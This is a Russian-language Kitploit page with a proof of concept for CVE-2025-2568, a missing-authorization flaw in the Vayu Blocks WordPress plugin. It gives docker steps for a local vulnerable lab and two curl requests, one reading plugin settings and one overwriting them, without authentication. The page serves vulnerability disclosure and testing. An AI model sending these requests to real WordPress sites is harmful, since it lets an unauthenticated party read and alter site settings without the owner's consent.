PoC_CVE-2025-2568 — Доказательство концепции эксплуатации CVE-2025-2568, демонстрирующее несанкционированный доступ и изменение параметров плагина Vayu Blocks для WordPress из-за отсутствия проверок прав доступа. | Kitploit

PoC CVE-2025-2568

Обзор

Плагин Vayu Blocks – Gutenberg Blocks для WordPress и WooCommerce уязвим к несанкционированному доступу и изменению данных из-за отсутствия проверок прав доступа в функциях vayu_blocks_get_toggle_switch_values_callback и vayu_blocks_save_toggle_switch_callback в версиях 1.0.4–1.2.1. Это позволяет неаутентифицированным атакующим читать настройки плагина и обновлять любые настройки, имя ключа которых заканчивается на _value.

Шаги эксплуатации

Установка (с использованием docker)

Клонируйте репозиторий и выполните следующие шаги:
```
cd vuln-wordpress
docker-compose up -d
```

Распакуйте Vayu-Plugin в папку wp-content/plugins.

cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip

Плагин Vayu-blocks (версия 1.2.0) теперь установлен.

Используйте это для чтения настроек:
```
curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
```

Отправьте POST-запрос, подобный этому, чтобы изменить значения настроек.

curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
 -H "Content-Type: application/json" \
 -d '{"key":"container", "value":"new_value"}'

PoC_CVE-2025-2568

Популярное

Эксплуатация:

Видео эксплуатации